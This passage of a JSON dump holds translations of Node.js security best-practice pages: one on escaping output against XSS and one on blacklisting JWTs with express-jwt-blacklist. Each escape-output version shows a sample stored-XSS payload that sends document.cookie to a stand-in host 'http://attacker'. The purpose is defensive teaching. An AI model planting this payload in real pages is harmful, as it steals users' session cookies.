    "content": "# Escape as Saídas\r\n\r\n### Explicação de um Parágrafo\r\n\r\nHTML e outras linguagens da Web combinam conteúdo com código executável - um único parágrafo HTML pode conter uma representação visual de dados junto com instruções de execução de JavaScript. Ao renderizar HTML ou retornar dados da API, o que acreditamos ser um conteúdo puro pode realmente incorporar código JavaScript que será interpretado e executado pelo navegador. Isso acontece, por exemplo, quando renderizamos conteúdo que foi inserido por um invasor em um banco de dados - por exemplo `<div><script>//malicious code</script></div>`. Isso pode ser mitigado instruindo o navegador a tratar qualquer parte de dados não confiáveis ​​apenas como conteúdo e nunca interpretá-los - essa técnica é chamada de escape. Muitas bibliotecas npm e mecanismos de templates HTML fornecem recursos de escape (example: [escape-html](https://github.com/component/escape-html), [node-esapi](https://github.com/ESAPI/node-esapi)). Não só o conteúdo HTML deve ser escapado, mas também CSS e JavaScript\r\n\r\n\r\n### Exemplo de código: não coloque dados não confiáveis ​​no seu HTML\r\n\r\n```html\r\n<script>...NUNCA COLOQUE DADOS NÃO CONFIÁVEIS AQUI...</script>   direto em um script\r\n \r\n <!--...NUNCA COLOQUE DADOS NÃO CONFIÁVEIS AQUI...-->             dentro de um comentário HTML\r\n \r\n <div ...NUNCA COLOQUE DADOS NÃO CONFIÁVEIS AQUI...=test />       em um nome de atributo\r\n \r\n <NUNCA COLOQUE DADOS NÃO CONFIÁVEIS AQUI... href=\"/test\" />   no nome de uma tag\r\n \r\n <style>...NUNCA COLOQUE DADOS NÃO CONFIÁVEIS AQUI...</style>   direto no CSS\r\n\r\n```\r\n\r\n### Exemplo de código - Conteúdo mal-intencionado que pode ser injetado em um banco de dados\r\n\r\n```html\r\n<div>\r\n  <b>A pseudo comment to the a post</b>\r\n  <script>\r\n    window.location='http://attacker/?cookie='+document.cookie\r\n</script>\r\n</div>\r\n\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Citação de Blog: \"Quando não queremos que os caracteres sejam interpretados\"\r\n\r\nDo Blog [benramsey.com](https://benramsey.com/articles/escape-output/)\r\n> Os dados podem deixar sua aplicação na forma de HTML enviado para um navegador da Web, SQL enviado para um banco de dados, XML enviado para um leitor de RSS, WML enviado para um dispositivo sem fio, etc. As possibilidades são ilimitadas. Cada um deles tem seu próprio conjunto de caracteres especiais que são interpretados de maneira diferente do resto do texto simples recebido. Às vezes queremos enviar esses caracteres especiais para que eles sejam interpretados (tags HTML enviadas para um navegador da Web, por exemplo), enquanto outras vezes (no caso de entrada de usuários ou alguma outra fonte), não queremos que os caracteres para ser interpretado, então precisamos escapar eles.\r\n\r\n> Escaping também é conhecido como codificação. Em suma, é o processo de representar dados de maneira que não sejam executados ou interpretados. Por exemplo, o HTML renderizará o texto a seguir em um navegador da Web como texto em negrito, porque as marcações `<strong>` têm um significado especial:\r\n> ```html\r\n> <strong>Isso é um texto em negrito.</strong>\r\n> ```\r\n\r\n\r\n<br/><br/>\r\n\r\n### Citação de Blog: \"OWASP recomenda usar uma biblioteca de codificação focada em segurança\"\r\n\r\nDo blog OWASP [Folha de Dicas de Prevenção de XSS (Cross Site Scripting)](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)\r\n> \"Escrever esses codificadores não é tremendamente difícil, mas existem algumas armadilhas ocultas. Por exemplo, você pode se sentir tentado a usar alguns dos atalhos de escape, como \"\\\" em JavaScript. No entanto, esses valores são perigosos e podem ser mal interpretados pelos analisadores aninhados no navegador. Você também pode esquecer de escapar do caracter de escape, que os atacantes podem usar para neutralizar suas tentativas de segurança.**OWASP recomenda o uso de uma biblioteca de codificação focada em segurança para garantir que essas regras sejam implementadas corretamente**.\"\r\n\r\n\r\n<br/><br/>\r\n\r\n### Citação de Blog: \"Você DEVE usar a sintaxe de escape para a parte do HTML\"\r\n\r\nDo blog OWASP [Folha de Dicas de Prevenção de XSS (Cross Site Scripting)](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)\r\n> \"Mas a codificação de entidade HTML não funciona se você estiver colocando dados não confiáveis ​​dentro de uma tag `<script>` em qualquer lugar, ou um atributo do manipulador de eventos, como onmouseover ou dentro de CSS, ou em uma URL. Portanto, mesmo se você usar um método de codificação de entidade HTML em todos os lugares, provavelmente ainda estará vulnerável ao XSS. Você DEVE usar a sintaxe de escape para a parte do documento HTML na qual você está colocando dados não confiáveis.\""
  },
  {
    "path": "sections/security/escape-output.french.md",
    "content": "# Escape Output\n\n### One Paragraph Explainer\n\nHTML and other web languages mix content with executable code - a single HTML paragraph might contain a visual representation of data along with JavaScript execution instructions. When rendering HTML or returning data from API, what we believe is a pure content might actually embody JavaScript code that will get interpreted and executed by the browser. This happens, for example, when we render content that was inserted by an attacker to a database - for example `<div><script>//malicious code</script></div>`. This can be mitigated by instructing the browser to treat any chunk of untrusted data as content only and never interpret it - this technique is called escaping. Many npm libraries and HTML templating engines provide escaping capabilities (example: [escape-html](https://github.com/component/escape-html), [node-esapi](https://github.com/ESAPI/node-esapi)). Not only HTML content should be escaped but also CSS and JavaScript\n\n\n### Code example - Don't put untrusted data into your HTML \n\n```html\n<script>...NEVER PUT UNTRUSTED DATA HERE...</script>   directly in a script\n \n <!--...NEVER PUT UNTRUSTED DATA HERE...-->             inside an HTML comment\n \n <div ...NEVER PUT UNTRUSTED DATA HERE...=test />       in an attribute name\n \n <NEVER PUT UNTRUSTED DATA HERE... href=\"/test\" />   in a tag name\n \n <style>...NEVER PUT UNTRUSTED DATA HERE...</style>   directly in CSS\n\n```\n\n### Code example - Malicious content that might be injected into a DB\n\n```html\n<div>\n  <b>A pseudo comment to the a post</b>\n  <script>\n    window.location='http://attacker/?cookie='+document.cookie\n</script>\n</div>\n\n```\n\n<br/><br/>\n\n### Blog Quote: \"When we don’t want the characters to be interpreted\"\n\nFrom the Blog [benramsey.com](https://benramsey.com/articles/escape-output/)\n> Data may leave your application in the form of HTML sent to a Web browser, SQL sent to a database, XML sent to an RSS reader, WML sent to a wireless device, etc. The possibilities are limitless. Each of these has its own set of special characters that are interpreted differently than the rest of the plain text received. Sometimes we want to send these special characters so that they are interpreted (HTML tags sent to a Web browser, for example), while other times (in the case of input from users or some other source), we don’t want the characters to be interpreted, so we need to escape them.\n>\n> Escaping is also sometimes referred to as encoding. In short, it is the process of representing data in a way that it will not be executed or interpreted. For example, HTML will render the following text in a Web browser as bold-faced text because the `<strong>` tags have special meaning:\n>\n> ```html\n> <strong>This is bold text.</strong>\n> ```\n>\n> But, suppose I want to render the tags in the browser and avoid their interpretation. Then, I need to escape the angle brackets, which have special meaning in HTML. The following illustrates the escaped HTML:\n>\n> ```html\n> &lt;strong&gt;This is bold text.&lt;/strong&gt;\n> ```\n\n<br/><br/>\n\n### Blog Quote: \"OWASP recommends using a security-focused encoding library\"\n\nFrom the blog OWASP [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)\n> \"Writing these encoders is not tremendously difficult, but there are quite a few hidden pitfalls. For example, you might be tempted to use some of the escaping shortcuts like \\\" in JavaScript. However, these values are dangerous and may be misinterpreted by the nested parsers in the browser. You might also forget to escape the escape character, which attackers can use to neutralize your attempts to be safe. **OWASP recommends using a security-focused encoding library to make sure these rules are properly implemented**.\"\n\n\n<br/><br/>\n\n### Blog Quote: \"You MUST use the escape syntax for the part of the HTML\"\n\nFrom the blog OWASP [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)\n> \"But HTML entity encoding doesn't work if you're putting untrusted data inside a `<script>` tag anywhere, or an event handler attribute like onmouseover, or inside CSS, or in a URL. So even if you use an HTML entity encoding method everywhere, you are still most likely vulnerable to XSS. You MUST use the escape syntax for the part of the HTML document you're putting untrusted data into.\""
  },
  {
    "path": "sections/security/escape-output.japanese.md",
    "content": "# 出力をエスケープする\r\n\r\n### 一段落説明\r\n\r\nHTML やその他のウェブ言語は、コンテンツと実行可能なコードを混在させています。- 1 つの HTML の段落には、JavaScript を実行することによって実現されているデータの視覚的な表現が含まれている場合があります。HTML をレンダリングしたり API からデータを返したりするときに、純粋なコンテンツだと思っていたものが、実際にはブラウザによって解釈され、実行される JavaScript コードを含んでいる場合があります。これは例えば、攻撃者によってデータベースに挿入されたコンテンツをレンダリングするときに起こります - `<div><script>//悪意のあるコード</script></div>` といったように。これを緩和するには、ブラウザに対して、信頼されていないデータのかたまりをコンテンツとしてのみ扱い、決して解釈しないように指示することが有効です - このテクニックはエスケープと呼ばれます。多くの npm ライブラリや HTML テンプレートエンジンがエスケープ機能を提供しています (例: [escape-html](https://github.com/component/escape-html)、[node-esapi](https://github.com/ESAPI/node-esapi))。HTMLコンテンツだけでなく、CSS や JavaScript もエスケープする必要があります。\r\n\r\n### コード例 - 信頼されていないデータを HTML に挿入しない\r\n\r\n```html\r\n<script>...ここに信頼されていないデータを挿入しないでください...</script>   script タグの中に直接挿入する\r\n \r\n <!--...ここに信頼されていないデータを挿入しないでください...-->             HTML コメントアウトの中に挿入する\r\n \r\n <div ...ここに信頼されていないデータを挿入しないでください...=test />       属性名として挿入する\r\n \r\n <ここに信頼されていないデータを挿入しないでください... href=\"/test\" />   要素名として挿入する\r\n \r\n <style>...ここに信頼されていないデータを挿入しないでください...</style>   CSS に直接挿入する\r\n\r\n```\r\n\r\n### コード例 - DB に注入される可能性のある悪質なコンテンツ\r\n\r\n```html\r\n<div>\r\n  <b>A pseudo comment to the a post</b>\r\n  <script>\r\n    window.location='http://attacker/?cookie='+document.cookie\r\n</script>\r\n</div>\r\n\r\n```\r\n\r\n<br/><br/>\r\n\r\n### ブログ引用: \"When we don’t want the characters to be interpreted\"（文字を解釈させたくない場合）\r\n\r\nブログ [benramsey.com](https://benramsey.com/articles/escape-output/) より\r\n> データは、Webブラウザに送信される HTML、データベースに送信される SQL、RSS リーダーに送信される XML、ワイヤレスデバイスに送信される WML などの形でアプリケーションを離れる可能性があります。そのような可能性は至るところにあります。これらそれぞれのケースには、プレーンテキストとは異なる解釈をされる特殊文字のセットが存在します。時にこれらの特殊文字が解釈されるように送信したい場合もありますが（例えば Web ブラウザに送信される HTML タグなど）、他の場合においては（ユーザや他のソースからの入力の場合）、そういった文字を解釈されたくないので、エスケープする必要があります。\r\n\r\n> エスケープは、エンコードと呼ばれることもあります。つまり、それはデータを、実行されたり解釈されたりしない形で表現するプロセスのことを指すのです。例えば、HTML において `<strong>` は特別な意味を持つので、ブラウザでは以下のようなテキストを太字テキストとして表示します:  \r\n> `<strong>これは太字のテキストです</strong>`  \r\n> ところで、ブラウザにタグを解釈させずに、タグそのものを表示させたい場合はどうすれば良いでしょうか。その場合は、HTML において特別な意味を持つ角括弧をエスケープする必要があります。以下はエスケープされた HTML を表します:  \r\n> `&lt;strong&gt;これは太字のテキストです&lt;/strong&gt;`\r\n\r\n\r\n<br/><br/>\r\n\r\n### ブログ引用: \"OWASP recommends using a security-focused encoding library\"（OWASP はセキュリティに重点を置いたエンコードライブラリの利用を推奨します）\r\n\r\nOWASP [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet) より\r\n> これらのエンコーダを書くことはそれほど難しいことではありませんが、いくつか落とし穴が隠れています。例えば、JavaScript の \" のような、エスケープショートカットを使いたくなるかもしれません。しかしながら、このような値は危険であり、ブラウザのネストされたパーサーによって誤って解釈される可能性があります。また、エスケープ文字のエスケープを忘れる可能性もあり、これは攻撃者によって、安全化の試みを無効化するために利用されます。 **OWASP はこれらのルールが適切に実装されていることを確かにするために、セキュリティに重点を置いたエンコードライブラリの利用を推奨します。**\r\n\r\n\r\n<br/><br/>\r\n\r\n### ブログ引用: \"You MUST use the escape syntax for the part of the HTML\"\r\nOWASP [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet) より\r\n> しかし、信頼されていないデータを、`<script>` タグの中や、onmouseover などのイベントハンドラの中、もしくは CSS の中や URL の中に入れていると、HTML エンティティのエンコーディングは機能しません。そのため、たとえすべての場所で HTML エンティティエンコーディングメソッドを利用していたとしても、XSS に対して脆弱である可能性が高いです。信頼されていないデータを入れている HTML ドキュメントの箇所には、**必ず** エスケープ構文を使用する必要があります。"
  },
  {
    "path": "sections/security/escape-output.md",
    "content": "# Escape Output\r\n\r\n### One Paragraph Explainer\r\n\r\nHTML and other web languages mix content with executable code - a single HTML paragraph might contain a visual representation of data along with JavaScript execution instructions. When rendering HTML or returning data from API, what we believe is a pure content might actually embody JavaScript code that will get interpreted and executed by the browser. This happens, for example, when we render content that was inserted by an attacker to a database - for example `<div><script>//malicious code</script></div>`. This can be mitigated by instructing the browser to treat any chunk of untrusted data as content only and never interpret it - this technique is called escaping. Many npm libraries and HTML templating engines provide escaping capabilities (example: [escape-html](https://github.com/component/escape-html), [node-esapi](https://github.com/ESAPI/node-esapi)). Not only HTML content should be escaped but also CSS and JavaScript\r\n\r\n\r\n### Code example - Don't put untrusted data into your HTML \r\n\r\n```html\r\n<script>...NEVER PUT UNTRUSTED DATA HERE...</script>   directly in a script\r\n \r\n <!--...NEVER PUT UNTRUSTED DATA HERE...-->             inside an HTML comment\r\n \r\n <div ...NEVER PUT UNTRUSTED DATA HERE...=test />       in an attribute name\r\n \r\n <NEVER PUT UNTRUSTED DATA HERE... href=\"/test\" />   in a tag name\r\n \r\n <style>...NEVER PUT UNTRUSTED DATA HERE...</style>   directly in CSS\r\n\r\n```\r\n\r\n### Code example - Malicious content that might be injected into a DB\r\n\r\n```html\r\n<div>\r\n  <b>A pseudo comment to the a post</b>\r\n  <script>\r\n    window.location='http://attacker/?cookie='+document.cookie\r\n</script>\r\n</div>\r\n\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Blog Quote: \"When we don’t want the characters to be interpreted\"\r\n\r\nFrom the Blog [benramsey.com](https://benramsey.com/articles/escape-output/)\r\n> Data may leave your application in the form of HTML sent to a Web browser, SQL sent to a database, XML sent to an RSS reader, WML sent to a wireless device, etc. The possibilities are limitless. Each of these has its own set of special characters that are interpreted differently than the rest of the plain text received. Sometimes we want to send these special characters so that they are interpreted (HTML tags sent to a Web browser, for example), while other times (in the case of input from users or some other source), we don’t want the characters to be interpreted, so we need to escape them.\r\n>\r\n> Escaping is also sometimes referred to as encoding. In short, it is the process of representing data in a way that it will not be executed or interpreted. For example, HTML will render the following text in a Web browser as bold-faced text because the `<strong>` tags have special meaning:\r\n>\r\n> ```html\r\n> <strong>This is bold text.</strong>\r\n> ```\r\n>\r\n> But, suppose I want to render the tags in the browser and avoid their interpretation. Then, I need to escape the angle brackets, which have special meaning in HTML. The following illustrates the escaped HTML:\r\n>\r\n> ```html\r\n> &lt;strong&gt;This is bold text.&lt;/strong&gt;\r\n> ```\r\n\r\n<br/><br/>\r\n\r\n### Blog Quote: \"OWASP recommends using a security-focused encoding library\"\r\n\r\nFrom the blog OWASP [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)\r\n> \"Writing these encoders is not tremendously difficult, but there are quite a few hidden pitfalls. For example, you might be tempted to use some of the escaping shortcuts like \\\" in JavaScript. However, these values are dangerous and may be misinterpreted by the nested parsers in the browser. You might also forget to escape the escape character, which attackers can use to neutralize your attempts to be safe. **OWASP recommends using a security-focused encoding library to make sure these rules are properly implemented**.\"\r\n\r\n\r\n<br/><br/>\r\n\r\n### Blog Quote: \"You MUST use the escape syntax for the part of the HTML\"\r\n\r\nFrom the blog OWASP [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)\r\n> \"But HTML entity encoding doesn't work if you're putting untrusted data inside a `<script>` tag anywhere, or an event handler attribute like onmouseover, or inside CSS, or in a URL. So even if you use an HTML entity encoding method everywhere, you are still most likely vulnerable to XSS. You MUST use the escape syntax for the part of the HTML document you're putting untrusted data into.\"\r\n"
  },
  {
    "path": "sections/security/escape-output.polish.md",
    "content": "# Escape Output\n\n### Wyjaśnienie jednym akapitem\n\nHTML i inne języki internetowe mieszają zawartość z kodem wykonywalnym - pojedynczy akapit HTML może zawierać wizualną reprezentację danych wraz z instrukcjami wykonywania JavaScript. Podczas renderowania HTML lub zwracania danych z API uważamy, że czysta treść może w rzeczywistości zawierać kod JavaScript, który zostanie zinterpretowany i wykonany przez przeglądarkę. Dzieje się tak na przykład podczas renderowania treści wstawionych przez osobę atakującą do bazy danych - na przykład `<div> <script> // szkodliwy kod </script> </div>`. Można to złagodzić, instruując przeglądarkę, aby traktowała każdą część niezaufanych danych tylko jako treść i nigdy jej nie interpretowała - ta technika nazywa się ucieczką. Wiele bibliotek NPM i silników szablonów HTML zapewnia możliwość zmiany znaczenia (przykład: [escape-html](https://github.com/component/escape-html), [node-esapi](https://github.com/ESAPI/node-esapi)). Należy unikać ucieczki nie tylko treści HTML, ale także CSS i JavaScript\n\n### Przykład kodu - Nie umieszczaj niezaufanych danych w swoim HTML\n\n```html\n<script>...NEVER PUT UNTRUSTED DATA HERE...</script>   directly in a script\n \n <!--...NEVER PUT UNTRUSTED DATA HERE...-->             inside an HTML comment\n \n <div ...NEVER PUT UNTRUSTED DATA HERE...=test />       in an attribute name\n \n <NEVER PUT UNTRUSTED DATA HERE... href=\"/test\" />   in a tag name\n \n <style>...NEVER PUT UNTRUSTED DATA HERE...</style>   directly in CSS\n\n```\n\n### Przykład kodu - złośliwe treści, które mogą zostać wstrzyknięte do bazy danych\n\n```html\n<div>\n  <b>A pseudo comment to the a post</b>\n  <script>\n    window.location='http://attacker/?cookie='+document.cookie\n</script>\n</div>\n\n```\n\n<br/><br/>\n\n### Cytat na blogu: „Gdy nie chcemy, aby znaki były interpretowane”\n\nZ Bloga [benramsey.com](https://benramsey.com/articles/escape-output/)\n> Data may leave your application in the form of HTML sent to a Web browser, SQL sent to a database, XML sent to an RSS reader, WML sent to a wireless device, etc. The possibilities are limitless. Each of these has its own set of special characters that are interpreted differently than the rest of the plain text received. Sometimes we want to send these special characters so that they are interpreted (HTML tags sent to a Web browser, for example), while other times (in the case of input from users or some other source), we don’t want the characters to be interpreted, so we need to escape them.\n\n> Escaping is also sometimes referred to as encoding. In short, it is the process of representing data in a way that it will not be executed or interpreted. For example, HTML will render the following text in a Web browser as bold-faced text because the `<strong>` tags have special meaning:\n> ```html\n> <strong>This is bold text.</strong>\n> ```\n\n<br/><br/>\n\n### Cytat na blogu: \"OWASP recommends using a security-focused encoding library\"\n\nZ bloga OWASP [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)\n> \"Writing these encoders is not tremendously difficult, but there are quite a few hidden pitfalls. For example, you might be tempted to use some of the escaping shortcuts like \\\" in JavaScript. However, these values are dangerous and may be misinterpreted by the nested parsers in the browser. You might also forget to escape the escape character, which attackers can use to neutralize your attempts to be safe. **OWASP recommends using a security-focused encoding library to make sure these rules are properly implemented**.\"\n\n\n<br/><br/>\n\n### Cytat na blogu: \"You MUST use the escape syntax for the part of the HTML\"\n\nZ bloga OWASP [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)\n> \"But HTML entity encoding doesn't work if you're putting untrusted data inside a `<script>` tag anywhere, or an event handler attribute like onmouseover, or inside CSS, or in a URL. So even if you use an HTML entity encoding method everywhere, you are still most likely vulnerable to XSS. You MUST use the escape syntax for the part of the HTML document you're putting untrusted data into.\"\n"
  },
  {
    "path": "sections/security/escape-output.russian.md",
    "content": "# Экранируйте вывод\r\n\r\n### Объяснение в один абзац\r\n\r\nHTML и другие веб-языки смешивают контент с исполняемым кодом - один абзац HTML может содержать визуальное представление данных вместе с инструкциями по выполнению JavaScript. При рендеринге HTML или возврате данных из API то, что мы считаем чистым контентом, может фактически содержать код JavaScript, который будет интерпретироваться и выполняться браузером. Это происходит, например, когда мы визуализируем контент, вставленный злоумышленником, в базу данных - например, `<div><script>//malicious code</script></div>`. Это может быть смягчено путем указания браузеру обрабатывать любой кусок ненадежных данных только как контент и никогда не интерпретировать его - этот метод называется экранированием. Многие библиотеки npm и движки шаблонов HTML предоставляют возможности экранирования (пример: [escape-html](https://github.com/component/escape-html), [node-esapi](https://github.com/ESAPI/узел-esapi)). Не только HTML-контент должен быть экранирован, но также CSS и JavaScript\r\n\r\n\r\n### Пример кода - не помещайте ненадежные данные в ваш HTML\r\n\r\n```html\r\n<script>...NEVER PUT UNTRUSTED DATA HERE...</script>   directly in a script\r\n \r\n <!--...NEVER PUT UNTRUSTED DATA HERE...-->             inside an HTML comment\r\n \r\n <div ...NEVER PUT UNTRUSTED DATA HERE...=test />       in an attribute name\r\n \r\n <NEVER PUT UNTRUSTED DATA HERE... href=\"/test\" />   in a tag name\r\n \r\n <style>...NEVER PUT UNTRUSTED DATA HERE...</style>   directly in CSS\r\n\r\n```\r\n\r\n### Пример кода - вредоносный контент, который может быть введен в БД\r\n\r\n```html\r\n<div>\r\n  <b>A pseudo comment to the a post</b>\r\n  <script>\r\n    window.location='http://attacker/?cookie='+document.cookie\r\n</script>\r\n</div>\r\n\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Цитата из блога: \"Когда мы не хотим, чтобы символы интерпретировались\"\r\n\r\nИз блога [benramsey.com](https://benramsey.com/articles/escape-output/)\r\n> Данные могут оставить ваше приложение в виде HTML, отправленного в веб-браузер, SQL, отправленного в базу данных, XML, отправленного в программу чтения RSS, WML, отправленного на беспроводное устройство, и т.д. Возможности безграничны. Каждый из них имеет свой собственный набор специальных символов, которые интерпретируются иначе, чем остальная часть полученного простого текста. Иногда мы хотим отправить эти специальные символы так, чтобы они интерпретировались (например, HTML-теги, отправляемые в веб-браузер), в то время как в других случаях (в случае ввода от пользователей или какого-либо другого источника) нам не нужно интерпретировать символы, поэтому мы должны экранировать их.\r\n\r\n> Экранирование также иногда называют \"кодированием\". Короче говоря, это процесс представления данных таким образом, что они не будут выполнены или интерпретированы. Например, HTML будет отображать следующий текст в веб-браузере как текст, выделенный жирным шрифтом, поскольку теги `<strong>` имеют особое значение:\r\n<strong>This is bold text.</strong>\r\nНо, предположим, я хочу отобразить теги в браузере и избежать их интерпретации. Затем мне нужно избежать угловых скобок, которые имеют особое значение в HTML. Следующее иллюстрирует экранированный HTML:\r\n\r\n`&lt;strong&gt;This is bold text.&lt;/strong&gt;`\r\n\r\n\r\n<br/><br/>\r\n\r\n### Цитата из блога: \"OWASP рекомендует использовать библиотеку кодирования, ориентированную на безопасность\"\r\n\r\nИз блога OWASP [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)\r\n> \"Написание этих кодировщиков не так уж сложно, но есть немало скрытых ловушек. Например, у вас может возникнуть соблазн использовать некоторые из таких ярлыков, как `\\\"`, в JavaScript. Однако эти значения опасны и могут быть неправильно истолкованы вложенными анализаторами в браузере. Вы также можете забыть избежать парсинга, который злоумышленники могут использовать для нейтрализации ваших попыток быть в безопасности. **OWASP рекомендует использовать ориентированную на безопасность библиотеку кодирования, чтобы обеспечить правильное выполнение этих правил**.\"\r\n\r\n\r\n<br/><br/>\r\n\r\n### Цитата из блога: \"Вы ДОЛЖНЫ использовать синтаксис escape для части HTML\"\r\n\r\nИз блога OWASP [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)\r\n> \"Но кодирование сущностей HTML не работает, если вы помещаете ненадежные данные в тег `<script>` где-либо, или в атрибут обработчика событий, например `onmouseover`, или в CSS, или в URL. Так что даже если вы используете сущность HTML Метод кодирования везде, вы все еще, скорее всего, уязвимы для XSS. Вы ДОЛЖНЫ использовать синтаксис escape для той части HTML-документа, в которую вы помещаете ненадежные данные.\""
  },
  {
    "path": "sections/security/expirejwt.basque.md",
    "content": "# Onartu JWT zerrenda beltza\r\n\r\n### Azalpena\r\n\r\nDiseinuz, JWTak (JSON Web Tokens) guztiz aberrigabeak (stateless) dira; beraz, igorle batek baliozko giltza (token) bat sinatzen duenean, giltza hori benetakoa dela egiaztatu ahal izango du aplikazioak. Horrek dakarren segurtasun arazoa da ihes egindako (leaked) giltza oraindik erabilgarria izango litzatekeela eta ezin daitekeela baliogabetu, sinadurak baliozkoa izaten jarraitzen duelako arazoak eragindako sinadura aplikazioak espero duenarekin bat datorren bitartean.\r\nHori dela eta, JWT autentifikazioa erabiltzean, iraungitako edo baliogabetutako giltzen (tokenen) zerrenda beltza kudeatu beharko luke aplikazioak, giltzaren bat baliogabetu behar den kasuetan, erabiltzailearen segurtasuna bermatzeko.\r\n\r\n### `express-jwt-blacklist` adibidea\r\n\r\nNode.js proiektu batean Express-jwt zerrenda beltza (`express-jwt-blacklist`) egikaritzeko adibidea `express-jwt` erabiliz. Kontuan izan garrantzitsua ez dela express-jwt-zerrenda beltzaren biltegirako ezarpen lehenetsiak (memorian) erabiltzea, baizik eta Redis bezalako kanpoko biltegiren bat erabiltzea Node.js prozesu askotan giltzak baliogabetzeko.\r\n\r\n```javascript\r\nconst jwt = require('express-jwt');\r\nconst blacklist = require('express-jwt-blacklist');\r\n\r\nblacklist.configure({\r\n  tokenId: 'jti',\r\n  strict: true,\r\n  store: {\r\n    type: 'memcached',\r\n    host: '127.0.0.1',\r\n    port: 11211,\r\n    keyPrefix: 'nirewebaplikazioa:',\r\n    options: {\r\n      timeout: 1000\r\n    }\r\n  }\r\n});\r\n\r\napp.use(jwt({\r\n  secret: 'nire-sekretua',\r\n  isRevoked: blacklist.isRevoked\r\n}));\r\n\r\napp.get('/logout', (req, res) => {\r\n  blacklist.revoke(req.user)\r\n  res.sendStatus(200);\r\n});\r\n```\r\n\r\n### Beste blogari batzuek diotena\r\n\r\n[Marc Busqué](http://waiting-for-dev.github.io/blog/2017/01/25/jwt_secure_usage/)-ren bloga:\r\n> ...gehitu baliogabetze geruza bat JWTri, izaera apatrida galtzea suposatzen badu ere.\r\n"
  },
  {
    "path": "sections/security/expirejwt.brazilian-portuguese.md",
    "content": "# Tenha suporte à lista negra de JWTs\r\n\r\n### Explicação em um Parágrafo\r\n\r\nPor padrão, os JWTs (JSON Web Tokens) são completamente sem estado, portanto, quando um token válido é assinado por um emissor, o token pode ser verificado como autêntico pela aplicação. O problema que isso causa é a preocupação de segurança em que um token vazado ainda pode ser usado e não pode ser revogado, devido à assinatura permanecer válida, desde que a assinatura fornecida pelos problemas corresponda ao esperado pelo aplicativo.\r\nDevido a isso, ao usar a autenticação do JWT, uma aplicação deve gerenciar uma lista negra de tokens expirados ou revogados para reter a segurança do usuário, no caso de um token precisar ser revogado.\r\n\r\n### exemplo `express-jwt-blacklist`\r\n\r\nUm exemplo de uso do `express-jwt-blacklist` em um projeto Node.js usando o `express-jwt`\r\n\r\n```javascript\r\nvar jwt = require('express-jwt');\r\nvar blacklist = require('express-jwt-blacklist');\r\n \r\napp.use(jwt({\r\n  secret: 'my-secret',\r\n  isRevoked: blacklist.isRevoked\r\n}));\r\n \r\napp.get('/logout', function (req, res) {\r\n  blacklist.revoke(req.user)\r\n  res.sendStatus(200);\r\n});\r\n```\r\n\r\n### O que Outros Blogueiros Dizem\r\n\r\nDo blog de [Marc Busqué](http://waiting-for-dev.github.io/blog/2017/01/25/jwt_secure_usage/):\r\n> ...adicione uma camada de revogação sobre o JWT, mesmo que isso implique na perda de sua natureza sem estado.\r\n"
  },
  {
    "path": "sections/security/expirejwt.chinese.md",
    "content": "# 支持黑名单的JWTs\n\n### 一段解释\n\n按照设计, JWTs(JSON Web Tokens)是完全无状态的, 因此, 一旦有效令牌由颁发者签署, 应用程序就可以验证该令牌是否真实。这导致了安全的问题, 这里，泄漏的令牌仍可使用且无法撤销, 因为只要问题令牌提供的签名与应用程序所期望的相匹配, 签名就仍然有效。\n因此, 在使用JWT身份验证时, 应用程序应管理过期或已吊销令牌的黑名单, 以便在需要吊销令牌的情况下保留用户的安全性。\n\n### `express-jwt-blacklist` 示例\n\n在Node.js项目中，使用`express-jwt`，并运行`express-jwt-blacklist`的例子\n\n```javascript\nconst jwt = require('express-jwt');\nconst blacklist = require('express-jwt-blacklist');\n \napp.use(jwt({\n  secret: 'my-secret',\n  isRevoked: blacklist.isRevoked\n}));\n \napp.get('/logout', function (req, res) {\n  blacklist.revoke(req.user)\n  res.sendStatus(200);\n});\n```\n\n### 其他博客作者说什么\n\n摘自博客[Marc Busqué](http://waiting-for-dev.github.io/blog/2017/01/25/jwt_secure_usage/):\n> ...在JWT之上添加一个吊销层(revocation layer), 即使它意味着失去其无状态性质。\n"
  },
  {
    "path": "sections/security/expirejwt.french.md",
    "content": "# Support blacklisting JWTs\n\n### One Paragraph Explainer\n\nBy design, JWTs (JSON Web Tokens) are completely stateless, so once a valid token is signed by an issuer, the token may be verified as authentic by the application. The problem this leads to is the security concern where a leaked token could still be used and unable to be revoked, due to the signature remaining valid as long as the signature provided by the issues matches what the application is expecting.\nDue to this, when using JWT authentication, an application should manage a blacklist of expired or revoked tokens to retain user's security in the case a token needs to be revoked.\n\n### `express-jwt-blacklist` example\n\nAn example of running `express-jwt-blacklist` on a Node.js project using the `express-jwt`. Note that it is important to not use the default store settings (in-memory) cache of `express-jwt-blacklist`, but to use an external store such as Redis to revoke tokens across many Node.js processes.\n\n```javascript\nconst jwt = require('express-jwt');\nconst blacklist = 